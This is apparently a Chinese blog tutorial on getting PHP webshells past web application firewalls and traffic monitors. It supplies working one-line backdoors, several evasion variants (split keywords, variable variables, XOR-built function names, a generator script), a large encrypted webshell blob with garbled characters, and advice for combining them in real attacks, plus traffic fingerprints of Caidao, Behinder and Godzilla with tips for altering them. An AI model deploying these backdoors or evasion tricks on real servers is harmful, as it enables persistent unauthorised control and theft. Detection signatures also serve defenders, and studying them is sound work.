WAF攻防-权限控制
WAF攻防-权限控制
定义
当我们做好信息搜集、漏洞发现、漏洞利用之后,接下来我们很有可能就要上传WebShell来达到对目标计算机的权限控制。
一般来讲,上传WebShell分为两个阶段:
- 将WebShell上传到目标计算机
- 通过诸如菜刀、哥斯拉、冰蝎、蚁剑、天蝎等工具来连接WebShell,入侵目标计算机。
在这两个阶段中,WAF都可以通过检测来防止这种情况发生。
- 代码方面的检测:WebShell上传到目标计算机时,WAF会检查文件内容,一旦发现内容中含有后门语句,那么就会杀掉这个文件。
- 行为方面的检测:WebShell上传到目标计算机后,当我们使用工具来连接时,WAF就会检查目标计算机所经过的流量,一旦流量符合该工具的特征,那么也会杀掉。
因此,我们所要考虑的事情就是针对这两个阶段做好免杀工作(绕过WAF)。
注:如果你不确定某文件是否为WebShell,那么你可以从网上寻找在线的WebShell查杀工具
代码层面的免杀
我们用一句话木马为例,来说明对它的免杀。
<?php eval($_POST['x']);?>
<?php assert($_POST['x']);?>
传参绕过
//作用:绕过匹配关键函数的正则表达式(例如:只要代码中包含eval,直接就杀掉)
//原理:把带有关键字函数代码以参数值发送,不在代码中体现,从而进行绕过。(将关键字以参数发送,之后再进行拼接)
<?php
$a=$_GET['a']; //输入a=ass
$aa=$a.'ert'; //$aa=assert
//等价于assert(base64_decode($_POST['x']));
//x需要base64编码
$aa(base64_decode($_POST['x']));
?>
变量覆盖
<?php
$a='b';
$b='assert';
//等价于$b(base64_decode($_POST['x']));
//等价于assert(base64_decode($_POST['x']));
//x需要base64编码(例如:如果你将x写为phpinfo();那么有些WAF会识别这个关键字,就会杀掉。因此直接base64编码,就识别不出来了)
$$a(base64_decode($_POST['x']));
?>
PHP加密变异(比较好的方法)
php文件加密平台:http://www.phpjm.net/encode.html
我们可以对上述变量覆盖的例子进行加密,加密之后的内容,有些WAF是识别不出来的(WAF一般不知道加密算法,检测过程中无法进行解密)。
//加密后的例子
<?php
if (!defined("FEFCEAC")){define("FEFCEAC", __FILE__);global $?$渷,$垨?$墥寖,$晢枔?$帣寙湈,$倯枖摌?$搮剢亣彊,$枡媰瀬姇?$儍彁媼帪?$儝巼厱崒槙?$憣枬悢湁??$剳殤憠悎崅棖?$崈晠檼梿垥棡枔,$垕敆憛憙棞攢墬?$€€唲枌焿剠摏瀾憫;function 挔($挔,$渷?""){global $?$渷,$垨?$墥寖,$晢枔?$帣寙湈,$倯枖摌?$搮剢亣彊,$枡媰瀬姇?$儍彁媼帪?$儝巼厱崒槙?$憣枬悢湁??$剳殤憠悎崅棖?$崈晠檼梿垥棡枔,$垕敆憛憙棞攢墬?$€€唲枌焿剠摏瀾憫;if(empty($渷?){return base64_decode($挔);}else{return 挔($憣枬悢湁??$挔,$渷?$€€唲枌焿剠摏瀾憫($渷?));}}$憣枬悢湁??挔("c3RydHI=?);$€€唲枌焿剠摏瀾憫=挔("c3RycmV2€");$渷=挔("umFzWTu0X2Rlu?9kWQ==?,"YZUVOWu");$垨?挔("azBmbTW1NzRm塎2RjNjQeODA2孨TNkNjUyMDky宐TdmbTE1a2U=?,"LgbezwZWa");$倯枖摌?挔("l3p1bmNvbCBy宭CNz?,"ZJrXCcIl");$崈晠檼梿垥棡枔=挔("RXRhbT==?,"ZTpnujfAR");$垕敆憛憙棞攢墬?挔("sHJlZ19yZXBcYWN沴?,"cjIMs");function 垨帬(&$垨帬){global $?$渷,$垨?$墥寖,$晢枔?$帣寙湈,$倯枖摌?$搮剢亣彊,$枡媰瀬姇?$儍彁媼帪?$儝巼厱崒槙?$憣枬悢湁??$剳殤憠悎崅棖?$崈晠檼梿垥棡枔,$垕敆憛憙棞攢墬?$€€唲枌焿剠摏瀾憫;$€€唲枌焿剠摏瀾憫?挔("LGll?,"ZpKsbL");@$垕敆憛憙棞攢墬?$垨?$崈晠檼梿垥棡枔."(@$倯枖摌?$渷('eNpl0e9P2kA榊B/B/hTS8uG€ZVoS0QQi6bm渒LHsFlhQsu2咵MqKglRxmBk?zcQCwvhly+瀓AMdY/dXcHk乮Z717vnc0+f?57fhrYLqKI宧NTROqj1RDJ奦X5YM3RYqO+沠v20CTlhJis?YPRK1WJVxf揊fQjbyJWk+E漬6PIHhrOtM50Rmjeh1NsfD態W50KLy72Fe峊WUzGi2F3OS孻mnQs1VSVZV漰UzuEKuKF80汿8vZozR2006?23qYLIisni€drak6GJu72V坖jWS/EqRs5i匶K5aP2YzogQ泆mxe4dBOrUq僙ylq8KGJnm5匟Ew+D5eOUSJ歊qYhKlJdN47昲hFyz1ixmBJ侳Qe/zQmY2G8?lyHUdODnaR?VJqiSTRtp4僺q//YG93/cn搎EyMrptZaIn晄l5uB5PvKwf妜WWMbRcWCvH慩KaFQiFXKgM楺IqD2w++Il/峇HsUQwSjH/Z焎mn6Gym6EK/僥Bz/GbvVaQ9?u2m7sdhMcW刾GQ191cxkd9?rbJo+JzbOD匷M577bw7ReL刌t8MYINn2Yn圫BLQ+gteKIB?v3/zwaYHY6抣d6kAy4bZCM?FS2xED4TYM廙dH0IfOhXSe?z/pFMPSNPm嘥7+bG57+767榓d4d9+uzP9v渂IsywVosp6D僢vzKf285P6d漽E6B4ANmjvV丱78Kpi6JhvH烪mYFFcPaob0扲VMOmillJH3?Qx5bvEwenl昍SKLN/awAbu€A==?)));","檲?垜棡彋0fe8574f3dc64080653d652092e7fe15灅摂洕");return "x";}}else{global $?$渷,$垨?$墥寖,$晢枔?$帣寙湈,$倯枖摌?$搮剢亣彊,$枡媰瀬姇?$儍彁媼帪?$儝巼厱崒槙?$憣枬悢湁??$剳殤憠悎崅棖?$崈晠檼梿垥棡枔,$垕敆憛憙棞攢墬?$€€唲枌焿剠摏瀾憫;$憣枬悢湁??挔("c3RydHI=?);$€€唲枌焿剠摏瀾憫=挔("c3RycmV2€");$渷=挔("umFzWTu0X2Rlu?9kWQ==?,"YZUVOWu");$垨?挔("azBmbTW1NzRm塎2RjNjQeODA2孨TNkNjUyMDky宐TdmbTE1a2U=?,"LgbezwZWa");$倯枖摌?挔("l3p1bmNvbCBy宭CNz?,"ZJrXCcIl");$崈晠檼梿垥棡枔=挔("RXRhbT==?,"ZTpnujfAR");$垕敆憛憙棞攢墬?挔("sHJlZ19yZXBcYWN沴?,"cjIMs");}$搮剢亣彊?挔("BU5hcmN2嶹ElZUUFE歜HdGi3OV?,"ZhzvB");$倯枖摌儬=垨帬($搮剢亣彊?;@$垕敆憛憙棞攢墬?$垨?$崈晠檼梿垥棡枔."(@$倯枖摌?$渷('eNo1jc1OhDAY烺V+FxZcASZdm慛jjDI2iiu4mZ奼NPElU5kTNwB揢9qh8jMUaAta?VWtC3f3nuTe匛4Sb6/DwdHAc搃NZu7AYOxGs3桽hL8evw".$搮剢亣彊?$倯枖摌儬."巐ODV1W6PH1/2?IPd7c3d/dZ9坉x98P3D+52/P€CT560CMwOYJS倀Qh4XxMEkqlh烸tDONTMWnoQa巋8nygRYsP19m怋GquyJJ/SImA峩EtXVWm7KJv7?kxlU0/SIBC1+u7G1HCZ2pNC榝ArBu7I5aVUi恆Iikc69ZKfWi匓muvRi2oINqM侴dfWkGWsUPUP嘗+jwtQgh/CDc€/AJIN2h8€')));","寜??殗搱0fe8574f3dc64080653d652092e7fe15瀬帊搫");return true;?>9bde333733f34f93db5d04749f2fef5a
PHP异或运算(需要写脚本)
//$a=assert
//('!'^'@') = a
<?php $a=('!'^'@').'ssert';$a($_POST[x]);?>
//验算过程:('!'^'@')
/*
! = 0x21
@ = 0x40
00100001
01000000
异或后
01100001 = 97 = a
*/
//异或生成脚本
<?php
$fuhao = "!@#$%^&*()_+=<>?:,.{}[]\|/";
$zimu = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
$strlen_fuhao = strlen($fuhao);
$strlen_zimu = strlen($zimu);
for($i=0;$i<$strlen_fuhao;$i++){
for($j=0;$j<$strlen_zimu;$j++){
echo $fuhao[$i]." ^ ".$zimu[$j]."-->".("$fuhao[$i]"^"$zimu[$j]");
echo "<br>";
}
}
?>
因此,通过异或运算,也可以达到让WAF识别不出来的目的。我们可以编写一个脚本,二重循环暴力搜索(128*128),将脚本中的所有字符(不包括php标签:<?php)全部都用异或运算的形式表达出来,这样WAF可能就识别不出来了,也被称为无字符WebShell。
后门生成器
- 用诸如哥斯拉这样的工具来生成后门(未必达到免杀效果)
- 用脚本来生成免杀后门(webshell-venom)(未必达到真正的免杀效果)
建议
在实战中,建议组合上述的免杀方式来达到免杀效果。
行为层面的免杀
威胁感知平台
在护网比赛中,蓝队经常使用威胁感知平台来检测目标服务器上所流经的恶意流量。
例如:当红队使用哥斯拉去连接目标服务器上的WebShell的时候,那么威胁感知平台就会根据哥斯拉的流量特征进行拦截。
举例:
- 冠成ENS:https://www.viewintech.com/ens
- 360天眼威胁感知系统
注:类似的工具还有:WAF、IDS(入侵检测系统)、HIDS等
检测技术
在检测流量时,主要采用以下方式:
- 正则表达式匹配(简单,容易被绕过:加密、编码、分段(参考传参绕过))
- 机器学习
- 行为分析
注:实际上检测流量就是在检测数据包,根据数据包的请求头和请求体来进行拦截。
注:如果要进行绕过(免杀),我们可以通过代理软件,将诸如菜刀、哥斯拉等这样的工具所发出的数据包转交给burp,burp修改数据包实现绕过。也可以反编译工具进行二次开发,修改数据包特征实现绕过。
各种工具的流量特征(推荐):https://blog.csdn.net/qq_56698744/article/details/131787890
菜刀流量特征(了解)
数据包流量特征(如果全部吻合,可以考虑是菜刀的流量特征):
1,请求包中:ua 头为百度爬虫
2,请求体中存在 eval,base64 等特征字符
3,请求体中传递的 payload 为 base64 编码,并且存在固定的QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J
冰蝎流量特征(重点)
冰蝎利用了服务器端的脚本语言加密功能,通讯的过程中,
消息体内容采用 AES 加密,基于特征值检测的安全产品无法查出。
注:如果WAF采用正则表达式来进行过滤的话,那么是无法拦截冰蝎的。
冰蝎的工作原理(以代码中的Key为密钥的AES加密解密过程):https://xz.aliyun.com/t/2774?time__1311=n4%2BxniDQitDtG%3Dd0QNDsE3xCTfpDcnjlj67YD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697
特征:(如果全部吻合,可以考虑是冰蝎的流量特征)
0、User-agent:通过反编译冰蝎的jar包来查看
1、Pragma: no-cache
2、Content-Type:application/x-www-form-urlencoded
3、Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
4、Accept-Encoding: gzip, deflate, br
5、Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
多抓几次数据包,看请求头当中字段相同的部分,这些地方可以作为特征。
文章:https://www.freebuf.com/news/247009.html
哥斯拉流量特征(重点)
1、User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
2、Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,
*/*;q=0.8
3、Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,enUS;q=0.3,en;q=0.2
4、Cookie字段最后面自带一个分号。
多抓几次数据包,看请求头当中字段相同的部分,这些地方可以作为特征。
致谢
https://www.bilibili.com/video/BV1pQ4y1s7kH/?spm_id_from=333.1007.top_right_bar_window_custom_collection.content.click
免责声明
本博客中的内容仅供学习之用,不用于商业用途,也不可以用于任何非法用途,否则后果自负,本人不承担任何责任!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 25岁的心里话
· 按钮权限的设计及实现